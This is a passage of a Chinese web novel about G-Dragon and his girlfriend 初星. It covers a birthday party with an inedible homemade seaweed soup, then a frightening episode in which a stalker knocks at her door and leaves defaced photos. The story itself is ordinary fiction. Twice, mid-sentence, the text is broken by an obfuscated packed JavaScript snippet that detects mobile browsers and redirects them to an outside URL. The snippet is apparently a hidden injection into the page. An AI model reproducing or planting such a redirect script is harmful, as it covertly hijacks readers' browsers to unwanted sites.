当翻到相册中间偏后的部分时,初星的心跳漏了一拍——这几页不再是照片,而是几张被小心贴好的、略显发皱的纸张。她仔细一看,那是至龙写的几首从未公开过的、有些稚嫩的歌词手稿,上面还能清晰看到反复修改、涂抹的痕迹,承载着创作的青涩与挣扎。而在这几页歌词的角落或空白处,都能隐约看到她的名字或者一些被她当时无心说过的话所激发出的灵感片段、短句。旁边,至龙用另一种颜色的笔标注着:“因为你说‘梦想是星星,要伸手去摘’……” 、“那天和你吵架后,睡不着写的旋律……” 、“想写一首能让娜比听到就开心的歌,像她笑起来的样子……” 翻到相册的最后一页,纸页上没有贴任何照片,只有至龙写下的一段话: “给我的娜比: 你是偶然坠入我平静宇宙的维纳斯,是席卷一切平庸的、最璀璨的意外。 时间洪流会奔涌向前,但我们在一起的所有日子,都被小心收藏在这里了。 以后的每一年,每一天,我们一起,把剩下的空白页填满。 生日快乐,我的缪斯,我的星光。 —— 你的至龙” 初星捧着充满了回忆和爱意的相册,手指轻轻拂过那些或清晰或模糊的影像,拂过那些熟悉的字迹,眼眶彻底红了,感动的泪水在眼眶里打转,模糊了视线。“你……你什么时候……偷偷做了这些……” 至龙看着她感动得快要哭出来的样子,伸出手,温柔地擦去她眼角即将滑落的湿意,轻声说:“准备了很久,断断续续的,想给你一个惊喜。喜欢吗?” “喜欢……超级喜欢……”初星用力点头,泪水终于忍不住滑落,也顾不上周围还有朋友们善意的注视和笑容,直接扑进他怀里紧紧抱住他,把脸埋在他温暖的颈窝,“这是我收到过……最好、最用心的生日礼物!” 至龙又轻轻松开她,神秘地笑了笑,“等一下,还有一样。” 他说着,快步走向厨房。 大家都好奇地伸长脖子看着。大声好奇地碰了碰身边的胜利:“至龙哥又准备了什么秘密武器?你知道吗?”胜利耸耸肩,一脸“我什么都不知道”的无辜,但嘴角憋着笑:“等着看吧,绝对是惊喜。” 至龙端着汤碗走了出来,碗里盛着热气腾腾的面,上面卧着饱满的荷包蛋,旁边点缀着几根翠绿的青菜,卖相看起来还不错。 永裴夸张地吹了声口哨:“哇,至龙居然真的会下厨了?士别三日啊!” “生日要吃长寿面,寓意健康长寿,”至龙将面端到初星面前,“去年那次……做得不太好,这次我偷偷练习了很多次,味道应该……进步了不少。” 他不好意思地抿嘴笑了笑,耳根微微泛红,“希望我的娜比健康平安,长命百岁,一直一直陪在我身边。” 初星捂住嘴,眼睛瞪得圆圆的:“看起来好好吃!” “只要你开心我什么都能学。”至龙脸上的得意和满足藏也藏不住。 姜大声起哄道:“哇!至龙哥以后不当歌手可以开面馆了!‘G-Dragon’拉面!”胜铉点了点头调侃:“看来我们以后练习晚了,有现成的夜宵供应了。” “啊!对了!我也有准备!” 初星转身跑向刚才随手放在地上的保温袋,从里面端出同样冒着热气的碗,放在胜利面前,“胜利呀,生日快乐!想着他们男孩子可能粗心会忘了这个,就给你做了海带汤!希望你喜欢!” 胜利完全愣住,看着眼前的海带汤,又抬头看看初星真诚而温暖的表情,感动得一塌糊涂,鼻子都有些发酸:“怒那!!谢谢你!真的……居然还特意为我准备了生日海带汤!” 他简直要热泪盈眶,感觉自己是世界上最幸福的忙内。 一旁还沉浸在“贤惠男友”角色中的至龙,看到这碗汤,愣了一下,他认识初星这么久,从来不知道她还会下厨。酸意的情绪冒了上来,他半真半假地伸手作势要去拿胜利面前那碗汤,“呀,李胜利,不准喝!我都没喝过娜比做的汤,这碗得给我喝!” 初星立刻拍开他“不安分”的手,瞪了他一眼:“权至龙!这是给胜利的生日礼物!跟弟弟抢什么!” 姜大声也笑着拉住至龙:“就是啊至龙哥,别抢忙内的生日礼物嘛!” 至龙撇撇嘴,委屈巴巴地收回手,眼神却还像被黏住了一样,幽幽地瞟着那碗汤,小声嘟囔:“可是……我也想吃娜比做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16741635|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的东西嘛……” 而珍雅从初星端出那碗汤开始,脸色就变得极其复杂。她看着那碗汤,又看看浑然不觉、一脸期待等着胜利品尝的初星,再看看感动得快要哭出来的胜利和明显在吃醋的至龙,张了张嘴,但最终表情纠结地闭上了嘴,默默退后了一步。 胜利被至龙这么一闹,更加感动于初星的心意,也存了点“报复”哥哥的小心思。他深吸一口气,“谢谢怒那,我现在就喝!这可是怒那的心意!” 他舀起一勺看起来汤汁最浓郁的部分,送进嘴里。 汤入口的瞬间,胜利的表情微妙地僵硬了一下,咀嚼的动作有半秒停滞,腮帮子鼓了鼓,但很快被他用强大的爱豆表情管理能力和对怒那心意的尊重硬生生掩盖过去。他迅速咽下,露出一个非常灿烂的笑容,竖起大拇指:“哇!真好喝!味道很特别!谢谢怒那!” 紧接着就摸了摸肚子,变得十分遗憾,“啊……可是……可是中午喝咖啡喝太多了,实在喝不下了,好饱啊感觉……” 他说着,非常自然地将那碗只少了一勺的汤推向旁边还在暗自吃醋的至龙,眼神带着点“兄弟情深”的意味:“至龙哥,你不是特别想喝吗?别浪费怒那的一片心意,你喝吧!你刚才不是说没喝过吗?” 至龙狐疑地看了胜利一眼,又看看初星那双充满期待、亮晶晶的眼睛,最终还是被“喝到娜比亲手做的东西”这个念头诱惑,接过了碗。 他舀起一勺,吹了吹,送入口中。 汤刚进入口腔,至龙的表情像是被按下了暂停键。喉结剧烈地滚动了一下,眉头几不可察地蹙起又松开,用了极大的毅力和对初星的爱才勉强将那口味道难以形容的汤咽了下去。 这味道……确实……非常独特。咸中带着一种难以言喻的、仿佛海带没有充分泡发干净的涩味,还夹杂着一丝若有若无的、类似铁锈的奇怪回味。 永裴和大声好奇地凑过来:“什么味道?闻着挺香啊,让我们也尝尝?”至龙下意识地把碗护住,像是守护什么宝贝,语气带着点莫名的坚持:“不行,这是娜比给我的。”说完,像是要证明什么似的,又像是要尽快结束这场味觉挑战,他端起碗,怀着壮烈的心情,咕咚咕咚地几口就把剩下的汤全喝完了。 喝完,他放下空碗,努力保持面部肌肉的自然,努力挤出一个还算正常的笑容,“嗯……好喝……味道……很鲜美……谢谢娜比。” 初星看着他“喝得这么香”,开心地笑了,眼睛弯弯的:“真的吗?你喜欢就好!我还怕味道太淡了呢!” 胜利凑到至龙身边,偷偷对他比了个大拇指,眼神里写满了“哥你真男人!”“为爱牺牲太伟大了!”的赞叹。胜铉在一旁不动声色地递过来矿泉水,眼里带着深切的同情和理解。 至龙没好气地瞪了“罪魁祸首”胜利一眼,感觉胃里还在隐隐翻江倒海,但转头看到初星开心地和珍雅分享着相册、侧脸在灯光下柔和发光的模样,又觉得……这碗味道奇特的汤,也不是不能忍受。只是他暗下决心,以后一定要想个委婉又不会打击到她积极性的办法,尽量别让他的娜比再轻易踏足厨房这片“危险”领域了。毕竟,有些天赋点,可能真的不在这里。 初星转过身来,期待地看着至龙:"真的好喝吗?那我下次再给你做!" 至龙连忙摆手:"不用不用,这种粗活让我来就好。"他急中生智地转移话题,"对了,蛋糕还没切呢!" 永裴赶紧去切蛋糕:“对啊对啊,蛋糕还没切呢!" 珍雅悄悄把初星拉到一旁,小声问:"初星,你做海带汤的时候...放了多少盐?" 初星眨眨眼:"盐?我没放盐啊。不是说海带汤要原汁原味吗?我就只放了海带和牛肉熬了很久。" 珍雅的表情变得十分微妙:"那...你放味精了吗?" "放了啊!"初星一脸求表扬的表情,"我看网上说放味精会更鲜美,放了一整包呢!" "一...一整包?"珍雅倒吸一口凉气,明白了那碗汤为什么颜色那么深,也明白为什么胜利和至龙会是那种反应了。她看着初星天真无邪的表情,还是把到嘴边的话咽了回去,勉强笑道:"哦...这样啊..." 至龙在那边喊:"娜比,蛋糕切好了!” 初星开心地跑过去,珍雅无奈地摇摇头,决定把这个秘密永远埋藏在心里。 切蛋糕的时候,至龙给初星切了最大的一块,温柔地说:"今天寿星最大,多吃点。" 实际上他心里想的是:快吃点甜的压压惊,免得又想起要做汤的事。 胜利在一旁起哄:"至龙哥好偏心啊!明明我也是寿星!给我都切这么小块!" 胜铉慢悠悠地插起一块蛋糕,意味深长地说:"至龙这是用心良苦,你们不懂。" 只有太阳和大成还在状况外,开心地吃着蛋糕。大成边吃边说:"初星,你做的汤真的那么好喝吗?下次也给我们做一次吧!" 至龙和胜利剧烈咳嗽起来,至龙赶紧说:"不用了!以后做饭的事都交给我!"说完又补充道,"娜比的手这么漂亮,不适合下厨。" 初星被夸得不好意思地笑了,完全没注意到旁边胜利和至龙交换了一个"劫后余生"的眼神。 49.第 49 章 春节脚步日益临近,街道两旁挂起了喜庆的红灯笼和闪烁的彩灯,商店橱窗里张贴着各种促销海报。初星和珍雅裹着厚厚的羽绒服,手里捧着热乎乎的咖啡,用杯身的温度驱散指尖的寒意,随着熙熙攘攘的购物人潮缓慢移动。 “所以,录取通知书真的拿到了?”珍雅侧过头,呼出一团白雾,高兴地看着初星,满是抑制不住的兴奋和由衷的骄傲,“弘益大学!我们初星的梦想终于实现了!太棒了!” 初星用力点了点头,吸管无意识地戳着杯子里绵密的奶油顶绽放着笑容,眼底还带着一丝如梦初醒般的恍惚:“嗯!真的拿到了!前几天收到的,现在还有点不敢相信呢。像踩在云朵上一样不真实。” 她说着,眼中闪烁的光芒逐渐聚焦,充满了对即将展开的新生活的憧憬,“以后终于可以名正言顺地画好多好多设计图,研究各种奇妙的材料和光影空间了!想想就好幸福!” “太好了!到时候你成了大名鼎鼎的设计师,我家的装修就全靠你了!必须给我打个友情折!”珍雅笑着用肩膀亲昵地撞了她一下。 “没问题!包在我身上!”初星爽快地答应,笑容却渐渐淡了一些,眼神飘向远处那些人头攒动的店铺,显得有些心不在焉。 珍雅察觉到了好友细微的变化,放柔了声音,“那……新年快到了,你打算怎么安排?还是……和之前一样吗?” 初星沉默了一会儿,长长的睫毛垂下来,表情纠结地搅动着杯中液体,随后她抬起头,神情比刚才坚定了一些,“嗯,想好了。我打算……先飞一趟美国,去看看哦妈和阿爸。” 她顿了顿,眼神里流露出思念和哀伤,声音也低沉了些:“哦妈的情况……虽然还是老样子,没有什么起色,但阿爸一个人守着,肯定会特别孤单。我想去陪陪他们,坐在哦妈床边,跟她说说话,安静地陪阿爸吃年夜饭。” “然后,”她深吸一口气,继续道,语气努力变得轻快了些,试图冲淡之前的伤感,“再从飞回中国,去陪外婆过年。可能在美国待不了几天,在中国也只能陪外婆很短的时间,但至少……至少两边都能见到面,都能陪一陪。这样……总比让任何一方在团圆的日子里完全落空、独自面对要好一些。” 珍雅听着她这奔波的计划,眉头蹙起,心疼地说:“这样会不会太赶了?跨国飞行本来就累,还要倒时差,两头跑,太辛苦了啊。” “没关系,”初星摇摇头,“能见到他们,亲眼确认他们好不好,比什么都重要。辛苦一点没关系的。” 然后她脸上又泛起甜甜的带着点羞涩的红晕,“今年……不知道为什么,心里有点……舍不得某个人啦~想到要有好长一阵子见不到他,就空落落的,像缺了一小块似的。” 但她很快又自嘲地笑了笑,像是在安慰自己,“不过也就分开一段时间嘛,等过完年回来就能见到了。他那么忙,正好我也去陪陪家人。” 两人又并肩走了一段,初星有些困扰的开口,“珍雅啊,最近……不知道是不是我的错觉,总觉得怪怪的……” “嗯?怎么了?哪里怪怪的?”珍雅看向她,放慢了脚步。 “我总觉得……好像有人一直在暗处跟着我。”初星说着,下意识地停下脚步,警惕地回头望了望身后摩肩接踵的人群,目光在那些陌生的面孔上快速扫过,“有好几次了,走在路上,或者等车的时候,好像背后有一道视线盯着我,黏糊糊的,让人很不舒服。但我回头看,又看不到什么可疑的人。大家都行色匆匆的……可能是我最近准备大学面试太累了,精神紧张,有点神经质?” 但尽管她试图用理性解释,眼神里却有一丝不安如同水底的暗流般涌动。 珍雅听了,挽紧初星的手臂,和她一起停下,认真地回头扫视了一圈密集的人流,并没有发现什么异常或停滞不前的可疑身影。“肯定是太累了产生的错觉!你看你,这段时间压力多大啊,又要全力准备大学考试和面试,心里又惦记着美国的父母,还要分心和至龙欧巴谈恋爱,脑子当然会超负荷运转啦,出现一些错觉很正常,别自己吓自己。” 她甚至故意开了个玩笑,“说不定是哪个星探,认为我们初星颜值气质太出众了,一路跟着想挖你当艺人呢?或者……更有可能是至龙欧巴那个‘妻奴’偷偷派了保镖在暗处保护你?他不是一直把你当眼珠子似的宝贝着,老是担心你嘛!” 初星被她逗笑了,心里的那点阴霾也被这玩笑话冲散了一些,“哎呀,什么嘛!怎么可能!我又不是什么大人物,还派保镖……太夸张了!” “怎么不可能!我们初星就是值得最好的保护!”珍雅肯定地说,“不过,说认真的,下次你再感到有不对劲的,不管是不是错觉,都立刻给我打电话,或者直接打给至龙欧巴,知道吗?千万别自己一个人胡思乱想,也别不当回事。” “知道啦。”初星点点头,好友坚定的话语让她心里踏实了不少,“可能真的是我最近太敏感了,自己吓自己。” “走吧,”珍雅搂了搂她的肩膀,给她传递力量和温暖,“别想那些了,再去前面那家新开的饰品店看看,我想买条新围巾过年戴!开心点,马上就要新年了,一切都会更好的!” “好!”初星应着,重新打起精神,挽紧珍雅的手臂,两人说笑着重新汇入节日采购的汹涌人潮之中。 和珍雅在地铁站口分开后,初星独自走向回家的公交车站。夜色渐浓,街灯次第亮起,昏黄的光晕在寒冷的空气中显得有几分朦胧。节日氛围下的街道反而衬得她形单影只,步履匆匆的路人都奔向各自温暖的归宿。那份被注视的不安感,在失去好友陪伴的归途上,又隐隐约约浮上心头,让她后颈有些发凉。她不自觉地加快了脚步,下意识地将手机紧紧握在手中。 在她快要走到车站站牌下时,旁边一条灯光昏暗的小巷口,快步走出一个身影,那人很是匆忙,低着头,直直地就撞在了正专注赶路的初星身上! “啊!”初星猝不及防,被撞得一个踉跄,向旁边歪去,差点摔倒,购物袋也“啪”地一声掉在了地上,里面的东西散落出来。 那人撞了人之后,猛地停下脚步,却依旧低着头,声音含糊地扔下一句:“米亚内。” 初星揉着被撞得生疼的肩膀,抬头看向对方,想确认对方是否没事。 对方穿着深色羽绒服,帽子拉得很低,几乎盖住了额头,脸上还戴着厚厚的黑色口罩,将大半张脸遮得严严实实,只露出一双眼睛。 而就是这双猝然对视上的眼睛,让初星的心骤然紧缩,那眼神极其凶狠、锐利,瞳孔深处是不加掩饰的冰冷的恶意,此刻正死死地盯着她,目光如同实质的刀片,充满了审视和敌意,完全不像一个不小心撞到人后该有的歉意或尴尬表情。 初星被这可怕的眼神看得心里发毛,一股寒意从脊椎骨窜上后脑勺,全身的汗毛都竖了起来。她拼命告诉自己冷静:也许对方天生就长了一副凶相?或者刚刚遇到了什么极其糟糕、让他愤怒的事情,心情正处在低谷?自己可能太过紧张,想多了……不能以貌取人…… 她匆匆低下头,避开那令人不适的视线,弯下腰,手忙脚乱地捡起散落在地上的购物袋和小物件,小声地、几乎是嗫嚅着回了句:“没…没关系。” 然后便不敢再多看一眼,逃也似的冲向刚刚进站的公交车。 直到在车厢后半部找到一个靠窗的位置坐下,透过冰冷的玻璃窗紧张地望向外面,确认那个令人不安的身影消失在黑暗中,初星才捂着胸口,颤抖地舒了一口气,但心脏却还在胸腔里剧烈地跳动,久久不能平复。她一路都在努力安慰自己:只是巧合,只是一个心情不好的路人,只是自己最近精神压力太大,太敏感了。一定是这样。 回到家里,初星反手将门锁死,又仔细拉上防盗链,背靠着门板,深吸了好几口气,才勉强将那份莫名的恐慌和心悸压下去些许。她打开客厅的电视,将音量调大,让热闹的综艺节目和嘉宾们的欢声笑语充满整个房间,用这虚假的热闹驱散屋子的冷清和心底残留的不安。 她把自己蜷缩在沙发最柔软的角落,用厚厚的毛毯裹住身体,眼睛看着电视屏幕上搞笑的画面,心思却完全无法集中,像断了线的风筝一样飘远,脑海里反复回放着刚才巷口那个冰冷凶狠的眼神,以及撞击的力度…… "叩、叩、叩。" 清晰的、带着特定节奏的敲门声突然响起。那声音仿佛具有某种穿透力,盖过了电视的喧闹,精准地传入初星的耳膜。她整个人像被冻住,连呼吸都停滞了一秒。 初星吓了一跳,又以为是至龙结束了行程突然来找她给她惊喜,或者是珍雅忘了什么东西折返回来。 然而,就在她刚要开口的时候,强烈的直觉击中了她,让她所有的动作顿住。至龙如果来,通常都会先发个信息或打个电话问问她在不在家。珍雅刚分开不久,也知道她累了要回家休息,不会这么晚不打招呼就来。而且……邻居?更不可能在这种时候敲门。 最关键的是……这敲门声……听起来过于平稳、规律,似乎带着一种……固执的、毫无感情的冷漠?不像是一个活生生的人带着情绪在敲门。敲门声音不高不低,每次敲击的力度都完全一致,间隔的时间分秒不差,精准得令人心慌,仿佛门外不是一个有血有肉的人,而是一个设定好程序的机器。 "叩、叩、叩。" 敲门声再次响起,节奏、力度,间隔的时间,和刚才一模一样,没有任何细微的变化。这精准的重复,非但没有带来熟悉感,反而滋生了一种更深沉的诡异和恐惧。它不像是在寻求回应,更像是冰冷的宣告——我知道你在里面,我来了。 初星的心跳开始失控,咚咚咚地撞击着胸腔,声音大得她自己都能听见。她屏住呼吸,轻手轻脚地滑下沙发,赤着脚,踮着脚尖走到门后,冰凉的木门板似乎能传递来门外的寒意。她鼓起巨大的勇气,小心翼翼地凑近猫眼,屏息向外看去——门外,楼道的感应灯因为刚才的敲门声而亮着,昏黄的光线下,视野所及……空无一人。只有对面紧闭的房门和安静的楼道。 仿佛那清晰可闻的敲门声,只是她高度紧张下产生的幻觉。但门板隐约传来的震动感,又明确地告诉她,那声音是真实的,就在门外。 初星的血液有点发冷,她僵在原地,一动不敢动,全身的感官都调动起来,耳朵竖得高高的,仔细地捕捉着门外的任何一丝动静。 一片死寂。只有电视里传来的、此刻显得格外刺耳、诡异的欢笑声和罐头笑声。 几秒钟后,在初星几乎要说服自己那是幻觉,试图放松紧绷的神经时—— "叩、叩、叩。" 那平稳、固执的敲门声,又一次响了起来。一下,一下,敲在坚实的门板上,也如同重锤般,一下下敲在她脆弱的心上。这一次,初星甚至能感觉到那声音里带着一种……耐心?一种可怕的、无穷无尽的耐心,仿佛门外的东西可以这样一直敲到天荒地老。 透过猫眼再次确认,门外,依旧空无一人。感应灯孤零零地亮着,照亮一片虚无。 这种"只闻其声,不见其人"的恐怖,比直接看到一个凶神恶煞的歹徒更令人毛骨悚然。初星的理智在疯狂地寻找解释,但恐惧却像藤蔓一样缠绕上来,越收越紧。 她吓得后退一步,脚跟撞到鞋柜,发出沉闷的响声。这不是幻觉!真的有人在敲门!但为什么看不到人?!是恶作剧?还是……更可怕的东西? 敲门声并没有持续不断地响,而是每隔一两分钟,就会极其规律地响起三次。"叩、叩、叩。" 每次都是同样的节奏,同样的力度,同样的间隔。这种规律性形成了可怕的心理压迫。像一种酷刑,每一次寂静都在积累恐惧,而每一次响声的到来,都像是在倒数着什么,折磨着她的神经,让她无法放松,无法思考,只能被动地等待着下一次声响的降临,仿佛等待着一把悬在头顶、不知何时会落下的利剑。 初星蜷缩回沙发角落,用抱枕紧紧捂住耳朵,将脸深深埋进去,但那声音却能钻透一切障碍,无视物理的阻隔,敲进她的脑海深处。 她不敢再去看猫眼,恐惧让她害怕在那一小片视野里看到什么无法承受的可怕景象。时间在这种无声的、持续的心理恐怖煎熬中变得无比漫长而扭曲。 电视里的综艺节目早已换了一轮又一轮,窗外的夜色越来越深,城市的灯火渐次熄灭。初星的精神快要被这持续不断的骚扰逼到崩溃边缘时,那规律的、如同噩梦般的敲门声……停止了。 这种寂静不同于之前的间隔,它更长久,更彻底,充满了更大的压力。初星的心脏跳得更快了,她不知道这寂静意味着结束,还是暴风雨前更可怕的宁静。 她屏住呼吸,心脏狂跳,等了足足有十几分钟,门外再也没有传来任何声响,连脚步声都没有。 她一点一点地挪到门边,再次颤抖着将眼睛凑近猫眼,向外望去—— 楼道依旧空荡荡的,感应灯也因为长时间没有动静而自动熄灭了,陷入一片黑暗。但在她家门口的地垫上,借着微弱的光线,似乎放着一个不大的、扁平的纸盒。 又胆战心惊地等了几分钟,确认外面真的没有任何动静后,初星极其缓慢地解开了防盗链,金属链条发出轻微的“咔哒”声在寂静中格外清晰。随后轻轻拧开了门锁,将门打开一条仅容手臂通过的缝隙。 外面确实空无一人,只有冰冷的空气涌入。那个孤零零的纸盒安静地躺在门口的地垫上。 初星伸出手,以最快的速度将那个盒子抓了进来,指尖触碰到纸盒的表面,让她打了个寒颤。她立刻“砰”地一声用力关上门,反锁,拉上防盗链!整个动作一气呵成,充满了惊恐。背靠着冰凉的门板,大口大口地喘着气,胸口剧烈起伏,看着手里这个来历不明、仿佛有千斤重的盒子,心里充满了强烈的不祥预感。 盒子很轻,外面没有任何快递标签或寄件人信息,只有用打印机打出来的黑体字,写着她的名字和这个公寓的详细地址。 她的指甲几乎要掐进掌心,慢慢地撕开了包装胶带。 里面没有填充任何缓冲物,只有一叠厚厚的照片和最上面一张对折的白色打印纸。 她的目光落到那些照片上,呼吸骤然停止——照片上的人,全是她!各种场景下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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而此时那熟悉的、冰冷的、如同索命符般的敲门声!!! 又一次响了起来!!! 就在门外!!!紧贴着她刚刚关上的、还在微微震颤的门板!!! 那个人根本没走!他只是放下这个恐怖的盒子,像幽灵一样,耐心地等在黑暗的角落里,等着她发现这份“礼物”,等着欣赏她此刻极致的恐惧和崩溃!!! “啊——!”初星吓得魂飞魄散,连滚带爬地远离门口,手脚并用地缩到客厅离门最远的角落,双手死死捂住自己的嘴,不让更多的尖叫逸出,但破碎的呜咽声还是从指缝间漏出。眼泪模糊了视线,身体抖得像狂风暴雨中即将折断的芦苇。 敲门声还在继续,仿佛在享受着她的恐惧,品味着她的无助。 初星哆嗦着抓起掉在地上的手机,屏幕已经被泪水模糊。她拼命在通讯录里找到那个置顶的名字,用尽全身力气按下了拨号键。 “快接电话……至龙……快接电话……求求你了……快接啊……”她带着浓重的哭腔,声音破碎不堪,如同溺水者抓住最后一根稻草般喃喃自语,每一个字都浸透着绝望的期盼。 电话那头却只有冗长的、一声接一声的、冰冷而机械的忙音,一遍又一遍,无情地重复着,始终无人接听。当最后一声忙音结束,转为“您拨打的电话暂时无人接听”的冰冷提示音时,初星的心沉到了谷底,失望、委屈、和被遗弃般的无助感让她几乎窒息。为什么偏偏是这种时候?在她最需要他、最恐惧无助的时候,他却不在线的另一端? “叩、叩、叩。”门外的敲门声仿佛更重了一些,带着某种不耐烦的催促,敲击着她的心理防线,也像是在嘲笑她的孤立无援。 极度的恐惧和无助彻底吞噬了她,在联系至龙失败后,恐慌让初星失去了思考能力,她的手指胡乱地在湿滑的键盘上滑动,终于找到了珍雅的号码,立刻砸一般地拨了出去。 电话只响了两声就被接起,传来珍雅的轻松声音:“喂?初星啊,怎么啦?是不是想我了,还是落下什么东西在我这儿了……” “珍雅!!!”初星的声音尖锐而充满无法抑制的恐惧,语无伦次的说,“呜……珍雅……救我……我好害怕……门外……一直有敲门声……有……有照片……我的脸被划花了……血一样的字……他还在外面……一直在敲!!!呜啊啊……我好怕……救我……”她泣不成声,恐惧让她几乎无法组织完整的句子。 电话那头珍雅的声音陡然拔高:“什么?!初星你说什么?!敲门?照片?!划花了?!你别怕!冷静点!告诉我你现在安全吗?门锁好了吗?!” “锁……锁好了……呜……但他还在敲……一直在敲……阴魂不散……”初星捂着嘴,死死抓着手机,眼泪成串地滚落,门板上传来的规律叩击声每一下都像敲在她的心脏上。 “别挂电话!初星,听着,保持通话!我马上过来!我已经在穿鞋了!”电话里传来珍雅那边急促的脚步声和她因为奔跑而变得急促的喘息声,“你躲好!离门远一点!找个角落藏起来!我很快就到!用最快的速度!” 初星不敢再大声说话,只是对着话筒发出压抑的呜咽声和抽泣声。她能清晰地听到珍雅在那边冲到路边、焦急地拦出租车的声音,以及她带着哭腔催促司机“拜托开快点!我朋友有危险!”的声音,这声音成了她在无边恐惧中唯一的浮木。 时间一分一秒地过去,每一秒都如同在刀尖上煎熬。门外的敲门声依旧固执地响着,仿佛永远不会停歇,反复折磨着她。 “初星!我快到了!已经看到你小区的路口了!你再坚持一下!你还好吗?回答我!”珍雅的声音从电话里传来,带着剧烈的喘息和无比的焦急 “嗯……呜……还在敲……他还没走……”初星充满了绝望。 突然,门外的敲门声又戛然而止。 紧接着,急促的脚步声从楼道里传来,在这死寂的夜里格外清晰,似乎是朝着楼梯间的方向快速跑来。 “初星!我到了!我进楼道了!”珍雅的声音同时在电话里和门外响起,“你门口没人!灯是亮的!我现在就在你家门口!你怎么样?” “珍雅!”初星像是听到了救赎的号角,蹲着身子冲到门边,手抖得如同癫痫,几次都解不开那该死的防盗链,好不容易才“咔哒”一声解开,又颤抖着拧开反锁的门锁。 门一开,珍雅满脸焦急和高度警惕地站在外面,她先是迅速而凌厉地扫视了空荡荡的楼道,确认安全后,才跨进门内,把门关上,利落地反锁,她的出现,像一道坚固的屏障,将初星与门外的恐怖世界隔离开来。 “初星!”珍雅看着瘫坐在地上、满脸泪痕交错、浑身发抖如同筛糠的初星,蹲下身,用力地抱住她,用自己的体温温暖她冰凉的身体,“没事了没事了,我来了!我在这里!别怕!到底发生了什么事?!慢慢说!” 初星闻到她身上熟悉的、令人安心的淡淡香气,强撑的防线崩溃,放声大哭起来,所有的恐惧、委屈和后怕倾泻而出。她指着地上散落的照片和纸。 珍雅顺着她颤抖的手指方向看去,看清那些被残忍划花、面目全非的照片,以及纸上那暗红色的、充满疯狂威胁的字迹时,她的脸色也变得苍白无比,倒吸一口凉气,“这……这到底是谁干的?!太可怕了!太变态了!” 她轻拍着初星的后背安抚她,另一只手拿出自己的手机,斩钉截铁的说,“不行,初星,这事太严重了!这已经不是恶作剧了,这是严重的骚扰和威胁!我们必须得报警!立刻!马上!” 50.第 50 章 初星和珍雅送走神情严肃的警察,关上沉重的公寓门,之前被紧张和恐惧充斥的空间,似乎空旷了许多,但压抑感并未完全散去,如同烟雾般弥漫在空气里。紧张的气氛稍稍缓解,但恐惧的余波仍一阵阵冲刷着初星的神经,让她脸色苍白如纸。 珍雅紧紧搂着她的肩膀,心里又疼又气,一遍遍地轻声安慰,“没事了,没事了,警察已经备案了,他们会调查的,一定会把那个变态找出来的……别怕,有我在呢……” 这时,被初星扔在沙发角落里的手机,屏幕突然亮起,响起了那首专属于至龙的、轻快而熟悉的铃声。 初星的目光循着声音望去,落在屏幕上那个不断跳动、闪烁着温暖光芒的名字上。她的心脏像是被一只无形的手攥紧了,骤然停止了一拍,随即又疯狂地跳动起来,撞得胸口生疼。 之前那一次次拨打过去、却只听到冗长忙音时的绝望;门外那规律,冰冷固执的敲门声带来的极致恐惧;还有散落在地上充满恨意的照片,以及那张用暗红色字迹写着恶毒威胁的纸……所有的画面、所有的恐惧、所有的无助,猛然回流,再次淹没了她。但这一次,汹涌的浪潮里,掺杂了一丝难以抑制的、尖锐的委屈和怨怼。她只是……只是像所有普通女孩一样,谈了一场真心投入的恋爱,为什么会被卷入这种可怕的、充满恶意的境地?而在她最恐惧、最需要他声音和安慰的那一刻,在她拼命拨打他电话寻求依靠的时候,他又在哪里?为什么偏偏是那个时候,偏偏…… 珍雅看着她更加苍白的脸色和眼底的复杂情绪,叹了口气,起身帮她拿过手机,递到她面前,轻声提醒:“是至龙欧巴。” 初星吸了吸鼻子,努力想压下喉咙口的哽咽,她没有伸手去接。手机铃声固执地响着,一遍又一遍,在这刚刚经历恐怖的寂静房间里显得有些刺耳,每一声都像是在无情地提醒她刚才那段被抛弃般的无助和孤立无援。 她最终还是接通了电话。但没有像往常那样将手机贴近耳边,感受他声音的温度,而是直接点开了免提键,让他的声音毫无遮挡地回荡在房间里。 在接通的瞬间,就传来了至龙带着些许慵懒、又明显掺着撒娇意味的嗓音: “娜比呀~米亚内~米亚内~刚才在录音室里关着门录音,手机调了静音放在外面,才看到你的来电。” 他的语气带着点完成任务后的惬意和讨好的笑意,“怎么啦?我的小公主是不是想我了?嗯?我这边差不多快结束了,等会儿收拾一下就去陪你好不好?想吃什么夜宵?我给你带过去~” 听到他全然不知情、甚至还在用惯常的语调撒娇的声音,再对比自己刚刚身心俱疲、被恐惧啃噬得千疮百孔的狼狈和绝望,初星的心像是被细密的针尖狠狠扎了一下,密密麻麻的酸楚和疼痛蔓延开来。她闭了闭眼,再睁开时,眼底只剩下一片冰冷的平静,带着一丝连她自己都未曾察觉的、深深的怨怼和疏离,她开口,声音异常平稳,却冷得没有一丝温度:“不用来了。” 电话那头的至龙愣了好几秒,依旧带着试图哄她开心的耐心和柔软:“嗯?怎么了?真生我气啦?因为没接电话?对不起嘛,娜比,我真的不是故意的,我保证下次再也不会了,录音也把手机带在身边好不好?我……” “我说不用来了。”初星打断了他的话,声音比刚才提高了一些,“我现在……不想看到你。” 这句话霎时浇灭了至龙所有的轻松、惬意和撒娇的心思。 电话那头陷入了短暂的沉默。死一般的寂静透过扬声器传来,几乎能听到对方骤然变得粗重和混乱的呼吸声。几秒钟后,至龙的声音变了调,充满了震惊、无法理解的慌乱、无措和恐惧:“……娜比?你……你说什么?到底怎么了?发生什么事了?!你是不是哭了?你的声音不对!告诉我!到底发生什么了!” 他后知后觉地听出了她声音里那不寻常的、极力压抑却还是泄露出来的颤抖,以及那冰冷语气下深藏的委屈与浓得化不开的埋怨。 